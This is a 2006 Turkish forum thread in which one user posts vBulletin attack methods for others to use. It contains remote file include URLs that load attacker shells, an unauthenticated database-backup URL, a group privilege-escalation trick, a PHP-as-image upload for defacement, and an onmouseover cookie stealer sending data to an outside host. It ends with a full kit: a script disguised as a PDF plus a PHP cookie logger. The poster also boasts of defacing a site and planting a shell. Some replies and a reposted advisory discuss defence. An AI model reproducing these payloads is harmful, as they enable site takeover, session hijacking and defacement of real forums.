Tüm Versiyonu (Orjinalini) Göster : vbulletındekı acıklar buyrun


KıLıCaRsLaN
02-05-2006, 17:02
fıle ınclude
http://ivdb.org/print/poc/1386.htm

File include linkimiz : impex/ImpExData.php?systempath=http:// buraya shell adresınız ekleyın

Örnek : http://www.allliance.com/impex/ImpExData...ache/

backup acıgı
vb siteler bu aralar baya bi dertli ard arda gelen deface olaylari yuzunden vb baya bir rant kaybeti.. bunun sebebi ve korunma yollari asagidadir...

bütün arkadaslar gerekli önlemleri alsinlar..

forum kurulumunda kulanilan install klasörü bazen ölümcül olabiliyor...

vb 3.5.x surumlerinde üyelik bile gerektirmeden;

www.siteadi.com/forumklasorunuz/install/finalupgrade.php?ste p=backup.php

bu link ile butun DB'nin yedeklenebilmesine olanak sagliyor...

KORUNMA YOLU : install klasörünün adinin degistirilmesi yada yetkisiz girisler için sifrelenmesidir.

ek olarak

install/upgrade1.php sıte sonuna yazın tum pass dosyaları onunuzde ınstall klasoru adını degısıp kapayabılırsınız.

KıLıCaRsLaN
02-05-2006, 17:04
shutbox acıgı

<body><style type=text/css>table, p, td, tr{visibility:hidden;}body {background-color: #000000;background-image: url("http://onlineturk.on.funpic.de/index.jpg");}

ve konu ıcı tam sayfa resım doseme kodu

KıLıCaRsLaN
02-05-2006, 17:05
vbulletın grup acıgı

ßu yöntem tamamiyle site admınLerinin Salaklığından KaynakLanıyor ! ßazı VbuLLentin SiteLerde Üye GrupLarı Wardır ßu grupLarda YÖNETİCİ v€ya CO ADMIN Grupu Wardır ßazı Salak AdmınLer ßunu Kapatmayı Unutur iyKide UnutmuşLar Şimdi Yapıcağimiz iŞ VbuLLentin ßir Foruma Üye oLun Sonra KuLLancı PaneLıne Girin Orda Sağda Sekmeler Wardır Ne Yapmak Istediğinize göre Ayarlarsınız Oranın En Altında GRUP UYELİKLERİ War Oraya Girin Ve Daha Sonra Ordan YÖNETİCİ Grußuna üye oLun Ve Sistem Size Otomatık SMOD Yetkisi Wericek ßu yetkiyLe Siteye Duyuru EkliyebiLirsiniz + Forumdaki ßutun KonuLarı Silebilirsiniz. Anlamadığınız Yerleri Sorun ßen ßurdayım...

shell calıstırma kodu

bazı vb lerde oluyor ama eskı surumler dıkkatlı olsun

/application.php?base_path=http://onlineturk.on.funpic.de/cc.dat?

KıLıCaRsLaN
02-05-2006, 17:10
vbulletın xss acıgı (3.0.x)

Vbulletin 3.0.x sürümlerinde(3.0.0 .... 3.0.7) private.php deki
QUOTE:
$pm['title'] = htmlspecialchars_uni($pm['title']);
satırındaki hatadan dolayı cross site scripting açığı meydana gelmekte.
Şöyleki;
Özel mesaja girip yeni mesaj gönder dediğimizde
QUOTE:



scriptini yazıp preview post seçeneği(önizleme) ye bastığımızda karşımıza cookie bilgileri geliyor.

kodu yazamıyorum ızın yok

KıLıCaRsLaN
02-05-2006, 17:16
ayrıca 3.54 e aıt acık soyledır profıl resmı yuklemeden atıyorum bı ındexınız olsun uzantısını ındex.gif.php yapınca dosyayı upload edıp profıl resmı eklıyorsunuz buda bı defacedır ekledıkten sonra

www.site.com/forum/image.php?u=kullanıcı ıdı yazın ındexınız tam sayfa cıkar bu acık sadece 3.5.4 lerdedır

KıLıCaRsLaN
02-05-2006, 17:19
onmouseover='location.href="http://onlineturk.on.funpic.de/log.php?nm=Black-code.net&re=http://www.linux-soul.net/vb/showthread.php?t=1245&id="+document.Cookie'




flash acık olan sıtelerde cookıe calma kodu vbulletın acıgıdır

KıLıCaRsLaN
02-05-2006, 17:21
http://antichat.ru/cgi-bin/s.jpg buna eklenen bı kodlada yapılan cookıe calma var ama ızın olmadıgından yazamıyorum
lutfen bu adresede tıklamayın kodu koyamıyorum ama tahmınen scrıpt kodlarıyla oldugunu anlarsınız sıtede kod yazımı engellı oldugundan veremıyorum daha buldukca buraya eklerım selametle

KıLıCaRsLaN
02-05-2006, 17:29
bı yontem daha tamamen bana aıttır bı tane serefsızlerın sıtesını bu yontemle ındırdık

yontem su ve hackledıgımız sıtede vbulletın 3.5.4 tu

buda ıspatı sebebı vardı onuda solıyım turk sıtesı ama kufur ettıklerı ıcın yaptık

http://www.zone-h.org/en/defacements/mirror/id=3657652/

http://whois.webhosting.info/sıtenın ıp adresı

yazıp serverdakı tum sıtelerı goruyorsunuz daha sonra ıclerınden acıgı cok olan php nuke veya asp sıte bulup acıkla shell ınızı sokup tum serverdakı sıtelerı hackleyebılırsınız.

KıLıCaRsLaN
02-05-2006, 19:32
Vulnerability:
--------------------
Html_Injection :
The software does not properly filter HTML tags in the title of events before being passed to user in 'calendar.php'&'reminder.php AS include'. that may allow a remote user to inject HTML/javascript codes to events of calendar. The hostile code may be rendered in the web browser of the victim user who will Request Reminder for those Events (persistent).
For example an attacker creates new event (Single-All Day Event , Ranged Event OR Recurring Event)with this content:

TITLE:--------->Testkod yazamıyorum
BODY:---------->No matter
OTHER OPTIONS:->No matter

The hostile code will be rendered in the web browser of the victim user who will Request Reminder for this Event via http://example.com/vbulletin/calendar.php?do=addreminder&e=[eventid]
The hostile code will originate from the site running the Vbulletin software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies),or take actions on the site acting as the target user.

Demonstration XSS URL:
--------------------
http://example.com/vbulletin/calendar.php?do=addreminder&e=[kullanıcı ıstersenız admın ıdını yazın]

Solution:
--------------------
There is no vendor supplied patch for this issue at this time.

Credit :
--------------------
Discovered & released by trueend5 (trueend5 kapda ir)
Security Science Researchers Institute Of Iran
[http://www.KAPDA.ir]

yenı bı acık daha acıklayım az sıze

acık soyle calendar.php dekı olay hatırlatıcı yada takvımlerde html kodu kullanımı acıksa forumu ıstedıgınız sayfaya yonlendırırsınız elazıglı sana yapılan buydu kesın.

http://example.com/forum/calendar.php?do=addreminder&e=[kullanıcı ıstersenız admın ıdını yazın]

buraya gırın olmazsa su sekılde yapın


example.com/forum/calendar.php?

yaptıktan sonra olay ekleye gırın orda bı baslık secın sectıkten sonra meta tag kodu yada yonlendıme yada tam sayfa resım kodu koyun forum komple ıstedıgınız yere yonlenır.selametle

KıLıCaRsLaN
02-05-2006, 21:48
acık 3.5.2 ve 3.5.3 lerde mafıa scrıpt null versıyonundan dogan acıktır.

www.siteismi.com/sm-check.md5

siteismi.com yazan yere hedef siteyi yazıyouz ve acılan sayfada size md5leri veriyor.ve md5 ler zor kırılıyor,ama uğraşın md5 kıran site=http://www.milw0rm.com/cracker/info.php
burdan kırabilrseniz kırın kıramazsanız programlardan deneyin

luis_hmd06
03-05-2006, 17:40
KORUNMA YOLU : install klasörünün adinin degistirilmesi yada yetkisiz girisler için sifrelenmesidir.



Peki install klasörune nasıl şifre werecez?


ayrıca 3.54 e aıt acık soyledır profıl resmı yuklemeden atıyorum bı ındexınız olsun uzantısını ındex.gif.php yapınca dosyayı upload edıp profıl resmı eklıyorsunuz buda bı defacedır ekledıkten sonra

www.site.com/forum/image.php?u=kullanıcı ıdı yazın ındexınız tam sayfa cıkar bu acık sadece 3.5.4 lerdedır

Aynı açık avatar yüklemedede olurmu?

emucu
04-05-2006, 10:04
install klasörünü tamamen silin...bu zaten herzaman söylenen birşey..

darjeling
07-05-2006, 10:03
ne şifresi yaws uçurun instalı

SweetHome
15-05-2006, 01:59
lisanssız sürümlerde bu tip açıklar olması doğaldır.. özellikle scriptmafia içine bitek kek malzemesi katmıyo forumun :D keyloggerden md5 hash ına kadar herşey var..

valla şimdiye kadar install klasörünü silin diye bi yazı okumadım gerekli olsaydı vb.com söylerdi zaten install/xxx.php yazsan bile lisans nosu soruyor.. iyiki almışık lisansı ;)

organik81
15-05-2006, 10:40
valla şimdiye kadar install klasörünü silin diye bi yazı okumadım gerekli olsaydı vb.com söylerdi zaten
sadece install.php 'yi silmek yeterli olmuyor. upgrade dosyaları da forumun hacklenmesi için yeterli. sonuç olarak mantıken install klasörünün ya silinmesi yada isminin değiştirilmesi şart !

darjeling
15-05-2006, 20:13
sadece install.php 'yi silmek yeterli olmuyor. upgrade dosyaları da forumun hacklenmesi için yeterli. sonuç olarak mantıken install klasörünün ya silinmesi yada isminin değiştirilmesi şart ! ustamın dediği doğru zaten install klasörünü kökten silmeden admin panele giremezsiniz gireni tanımıyorum...

KıLıCaRsLaN
17-05-2006, 15:18
elazıglı168 serverınızda acık var bılgıne senın olayı cozdum arkadasım sana atılan ındex shelle yapıldı suan serverınızda bana aıt bı shell bulunuyor ıstersen benımle ırtıbata gec ozelden

KıLıCaRsLaN
13-06-2006, 12:55
ıste sıze shell ın bı ornegı www.googletr.info tıklayın sadece tehlıkelerı gorun dıye bıde sıze addvark toplıst acıgı verıcem

http://www.site.net/toplist/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]=shell adresı vblerde kullanılan toplıst scrıpt acıgı

Elazığlı168
14-06-2006, 15:36
sağol kardeş güzel bilgiler siteden ayrıldım uğraşamıycam artık ama senle özelden görüşelim bi ara

M.a.N.Y.a.K
18-06-2006, 10:36
ben şimdi bu dökümanla hacker olurum :) bılgıler ıcın tskler;)

haqqi
08-08-2006, 23:35
herseyı guzel anlatmıssında hocam su korunma yollarınıda yazsaydın ne ıyı olacaktı

*çirkin*
28-08-2006, 14:38
peki bu flash kodları nasıl kapatabiliriz sitede yardımcı olabilirmisiniz...

ahmee4
28-08-2006, 23:52
iyi hoş döküman olmuşta bunlar siteyi korumanın yanında bide lamer ruhlu insanlara pahabiçilemez bi döküman olmuşlar.. şimdi adam bu kodları, bu açıkları görse hemen uygulamaz ve siteyi hacklemeye çalışmazmı??
ben bu hack işinden tema-tr hacklendiği günden beri nefret ediyorum.. ve bu döküman yukardada yazdığım gibi pahabiçilemez bi lamer dökümanı olmuş...

KıLıCaRsLaN
29-08-2006, 05:01
Amacım bılgılendırmek bılerek elazıglı arkadasım konuyu sabıt yaptı sıze dusen bu acıklar ıcın onlem almak

Notepad ile yeni bir dosya açıp aşağıdaki kodu içine yapıştırın ve testmagic.pdf olarak kaydedin.


Code:

<script>
d o c u m e n t.write('<img src="http://host adresiniz/c.php?c='+document.cookie+'" WIDTH=0 HEIGHT=0>');
document.location.href="https://www.google.com/adsense/testmagic.pdf";
</script>
Aşağıdakini de c.php olarak kaydedip bir host a atın.


Code:

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("m/d/Y g:i:s a");
$referer= getenv ('HTTP_REFERER');
$fl = fopen('megalog.txt', 'a');
fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer."\n".$cookie."\n");
fclose($fl);
?>
Nasıl kullanılacağına geçelim :

vbulletin 3.5.4 kullanan bir foruma üye olup mesajımızı yazıyoruz. daha sonra yazdığımız mesaja testmagic.pdf i ekliyoruz. eğer o sitede açık varsa mesajı gören kullanıcıların cookie si hostunuzdaki log.txt e kaydedilecek.

Kodlardaki bazı adresler yerine biliyorsunuz ki kendi adreslerinizi yazacaksınız.Bu açık sadece IE kullananlarda geçerlidir.

Not=Mach 1 ın hacklenme olayı bu pdf dosyasına ındex kodları koyulması ıle hackleme degıl deface dıyelım :) ama ben 1 seneyı geckındır burdan yararlanıyorum vb yıde burdan ogrendım sayılır yazıktır emege burda denemeyın bazı seylerı :) tematr ye yapılanda sırf bı lamerlık mıllet tema nerden bulcak sımdı dusunmek lazım :)

*çirkin*
29-08-2006, 10:10
ya zaten bu hack olayına anlam veremiyorumki ya hackleyecen ne olacak millet bi şekilde bilgi paylaşıyor sana zararı nedir....Eğleniyor yada bilgileniyor anlamadığım hacklenınce cebi paramı doluyor kariyermi yapıyor Bari yapacaksan gerçektende hacklenmeyi hak eden sitelere yap.....Kusura bakmayın ama istersenizde banlayın bence durup dururken bi siteyle uğraşmak bizim Türk dil tabiriyle (arkadan vurmak) şerefsizlikten başka bişi değil.....


Bu arada bilgilerin için sağol usta en azından bizler önlemimizi alıyoruz...